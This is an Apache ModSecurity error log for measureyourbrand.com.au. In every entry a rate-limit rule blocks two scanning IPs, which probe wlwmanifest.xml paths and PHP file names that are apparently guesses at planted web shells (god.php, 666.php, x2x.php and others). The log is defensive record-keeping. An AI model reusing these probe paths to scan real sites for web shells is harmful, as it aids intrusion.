[Fri Feb 13 18:56:27.956097 2026] [:error] [pid 18097:tid 18118] [client 34.73.172.230:63257] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aY8DW3FzYiQ_BfaDDlYhSgAAAZM"]
[Fri Feb 13 18:56:28.747170 2026] [:error] [pid 47575:tid 47599] [client 51.103.136.17:18093] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aY8DXAIPBuXb07mA_mS7YwAAAtI"]
[Fri Feb 13 18:56:28.900940 2026] [:error] [pid 18097:tid 18119] [client 34.73.172.230:56899] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aY8DXHFzYiQ_BfaDDlYhTQAAAZQ"]
[Fri Feb 13 18:56:29.251167 2026] [:error] [pid 47080:tid 47112] [client 51.103.136.17:23680] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aY8DXUbWJwYCVF39z6syDwAAAdg"]
[Fri Feb 13 18:56:29.724895 2026] [:error] [pid 46821:tid 46846] [client 51.103.136.17:50993] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aY8DXY6G1N5YSq0J0gcHagAAAVc"]
[Fri Feb 13 18:56:29.746622 2026] [:error] [pid 49225:tid 49313] [client 34.73.172.230:49873] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aY8DXTwH8-zGxtAd3jv9BQAAAJM"]
[Fri Feb 13 18:56:30.213445 2026] [:error] [pid 51243:tid 51263] [client 51.103.136.17:23731] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aY8DXsim7ZTAHzi7xZvBaQAAARI"]
[Fri Feb 13 18:56:30.681308 2026] [:error] [pid 49223:tid 49232] [client 34.73.172.230:54826] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aY8DXh8A_fZBamNLnfVLPwAAAAA"]
[Fri Feb 13 18:56:30.694808 2026] [:error] [pid 47143:tid 47229] [client 51.103.136.17:56377] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x2x.php"] [unique_id "aY8DXshV30NbMarHJLs4-QAAAk8"]
[Fri Feb 13 18:56:31.170687 2026] [:error] [pid 47575:tid 47592] [client 51.103.136.17:50998] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x2x.php"] [unique_id "aY8DXwIPBuXb07mA_mS7aAAAAsw"]
[Fri Feb 13 18:56:31.609634 2026] [:error] [pid 47575:tid 47598] [client 34.73.172.230:49434] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aY8DXwIPBuXb07mA_mS7aQAAAtE"]
[Fri Feb 13 18:56:31.650156 2026] [:error] [pid 47080:tid 47108] [client 51.103.136.17:22505] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x2x.php"] [unique_id "aY8DX0bWJwYCVF39z6syFAAAAdQ"]
[Fri Feb 13 18:56:32.123513 2026] [:error] [pid 47575:tid 47583] [client 51.103.136.17:38907] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x2x.php"] [unique_id "aY8DYAIPBuXb07mA_mS7awAAAsM"]
[Fri Feb 13 18:56:32.536394 2026] [:error] [pid 49223:tid 49233] [client 34.73.172.230:60584] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aY8DYB8A_fZBamNLnfVLVQAAAAE"]
[Fri Feb 13 18:56:32.610197 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:38626] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aY8DYB8A_fZBamNLnfVLYgAAAAY"]
[Fri Feb 13 18:56:33.089807 2026] [:error] [pid 49335:tid 49353] [client 51.103.136.17:38900] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aY8DYap--SFY2nwOiqlepwAAANA"]
[Fri Feb 13 18:56:33.479607 2026] [:error] [pid 46821:tid 46840] [client 34.73.172.230:54838] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aY8DYY6G1N5YSq0J0gcHawAAAVE"]
[Fri Feb 13 18:56:33.561372 2026] [:error] [pid 47358:tid 47376] [client 51.103.136.17:43967] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aY8DYcQFBuVVUQTESUwHJAAAAoo"]
[Fri Feb 13 18:56:34.031603 2026] [:error] [pid 47358:tid 47369] [client 51.103.136.17:23722] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aY8DYsQFBuVVUQTESUwHJQAAAoQ"]
[Fri Feb 13 18:56:34.543069 2026] [:error] [pid 46821:tid 46827] [client 51.103.136.17:36999] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aY8DYo6G1N5YSq0J0gcHbQAAAUQ"]
[Fri Feb 13 18:56:35.028702 2026] [:error] [pid 47143:tid 47236] [client 51.103.136.17:43533] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aY8DY8hV30NbMarHJLs4_AAAAlY"]
[Fri Feb 13 18:56:35.499566 2026] [:error] [pid 49335:tid 49338] [client 51.103.136.17:20667] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aY8DY6p--SFY2nwOiqleqQAAAME"]
[Fri Feb 13 18:56:35.984648 2026] [:error] [pid 49335:tid 49356] [client 51.103.136.17:38864] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aY8DY6p--SFY2nwOiqleqgAAANM"]
[Fri Feb 13 18:56:36.459672 2026] [:error] [pid 47143:tid 47235] [client 51.103.136.17:60703] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aY8DZMhV30NbMarHJLs4_QAAAlU"]
[Fri Feb 13 18:56:36.952685 2026] [:error] [pid 49223:tid 49252] [client 51.103.136.17:44482] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aY8DZB8A_fZBamNLnfVLeQAAABQ"]
[Fri Feb 13 18:56:37.431381 2026] [:error] [pid 49223:tid 49240] [client 51.103.136.17:60710] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aY8DZR8A_fZBamNLnfVLfAAAAAg"]
[Fri Feb 13 18:56:37.940017 2026] [:error] [pid 47358:tid 47389] [client 51.103.136.17:60704] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aY8DZcQFBuVVUQTESUwHKQAAApc"]
[Fri Feb 13 18:56:38.445137 2026] [:error] [pid 18097:tid 18111] [client 51.103.136.17:21771] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aY8DZnFzYiQ_BfaDDlYhVQAAAYw"]
[Fri Feb 13 18:56:38.983225 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:53498] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aY8DZh8A_fZBamNLnfVLfwAAAAQ"]
[Fri Feb 13 18:56:39.454831 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:53459] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aY8DZx8A_fZBamNLnfVLgAAAAA4"]
[Fri Feb 13 18:56:39.953854 2026] [:error] [pid 49225:tid 49298] [client 51.103.136.17:38872] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aY8DZzwH8-zGxtAd3jv9FwAAAIQ"]
[Fri Feb 13 18:56:40.455222 2026] [:error] [pid 47575:tid 47587] [client 51.103.136.17:21791] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aY8DaAIPBuXb07mA_mS7cAAAAsc"]
[Fri Feb 13 18:56:40.948598 2026] [:error] [pid 47080:tid 47095] [client 51.103.136.17:55951] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aY8DaEbWJwYCVF39z6syLQAAAcc"]
[Fri Feb 13 18:56:41.465146 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:55941] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aY8DaUbWJwYCVF39z6syMAAAAdI"]
[Fri Feb 13 18:56:42.001065 2026] [:error] [pid 47143:tid 47233] [client 51.103.136.17:48665] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aY8DashV30NbMarHJLs4_wAAAlM"]
[Fri Feb 13 18:56:42.473046 2026] [:error] [pid 49225:tid 49302] [client 51.103.136.17:39331] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aY8DajwH8-zGxtAd3jv9GgAAAIg"]
[Fri Feb 13 18:56:42.958962 2026] [:error] [pid 47358:tid 47390] [client 51.103.136.17:44531] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aY8DasQFBuVVUQTESUwHLAAAApg"]
[Fri Feb 13 18:56:43.438157 2026] [:error] [pid 18097:tid 18117] [client 51.103.136.17:36314] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aY8Da3FzYiQ_BfaDDlYhXgAAAZI"]
[Fri Feb 13 18:56:43.916352 2026] [:error] [pid 46821:tid 46834] [client 51.103.136.17:23051] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aY8Da46G1N5YSq0J0gcHcAAAAUs"]
[Fri Feb 13 18:56:44.411573 2026] [:error] [pid 47575:tid 47602] [client 51.103.136.17:43952] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aY8DbAIPBuXb07mA_mS7eAAAAtU"]
[Fri Feb 13 18:56:44.901673 2026] [:error] [pid 51243:tid 51256] [client 51.103.136.17:21834] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aY8DbMim7ZTAHzi7xZvBgQAAAQs"]
[Fri Feb 13 18:56:45.435144 2026] [:error] [pid 18097:tid 18106] [client 51.103.136.17:48681] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aY8DbXFzYiQ_BfaDDlYhYQAAAYc"]
[Fri Feb 13 18:56:45.959627 2026] [:error] [pid 51243:tid 51264] [client 51.103.136.17:55966] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aY8Dbcim7ZTAHzi7xZvBhwAAARM"]
[Fri Feb 13 18:56:46.441016 2026] [:error] [pid 51243:tid 51261] [client 51.103.136.17:55940] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aY8Dbsim7ZTAHzi7xZvBiAAAARA"]
[Fri Feb 13 18:56:46.913615 2026] [:error] [pid 51243:tid 51265] [client 51.103.136.17:20725] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aY8Dbsim7ZTAHzi7xZvBigAAARQ"]
[Fri Feb 13 18:56:47.390011 2026] [:error] [pid 49223:tid 49233] [client 51.103.136.17:51058] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aY8Dbx8A_fZBamNLnfVLiAAAAAE"]
[Fri Feb 13 18:56:47.924196 2026] [:error] [pid 18097:tid 18102] [client 51.103.136.17:46001] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aY8Db3FzYiQ_BfaDDlYhYwAAAYM"]
[Fri Feb 13 18:56:48.421213 2026] [:error] [pid 18097:tid 18100] [client 51.103.136.17:44491] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aY8DcHFzYiQ_BfaDDlYhZQAAAYE"]
[Fri Feb 13 18:56:48.915051 2026] [:error] [pid 47080:tid 47090] [client 51.103.136.17:46006] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aY8DcEbWJwYCVF39z6syOQAAAcI"]
[Fri Feb 13 18:56:49.418117 2026] [:error] [pid 49223:tid 49239] [client 51.103.136.17:21849] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aY8DcR8A_fZBamNLnfVLiwAAAAc"]
[Fri Feb 13 18:56:49.946769 2026] [:error] [pid 51243:tid 51245] [client 51.103.136.17:23040] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aY8Dccim7ZTAHzi7xZvBjAAAAQA"]
[Fri Feb 13 18:56:50.418913 2026] [:error] [pid 47358:tid 47376] [client 51.103.136.17:50997] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aY8DcsQFBuVVUQTESUwHLwAAAoo"]
[Fri Feb 13 18:56:50.926967 2026] [:error] [pid 49335:tid 49342] [client 51.103.136.17:23700] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aY8Dcqp--SFY2nwOiqlergAAAMU"]
[Fri Feb 13 18:56:51.402572 2026] [:error] [pid 47080:tid 47100] [client 51.103.136.17:44999] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aY8Dc0bWJwYCVF39z6syZAAAAcw"]
[Fri Feb 13 18:56:51.879109 2026] [:error] [pid 49223:tid 49250] [client 51.103.136.17:38642] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aY8Dcx8A_fZBamNLnfVLjgAAABI"]
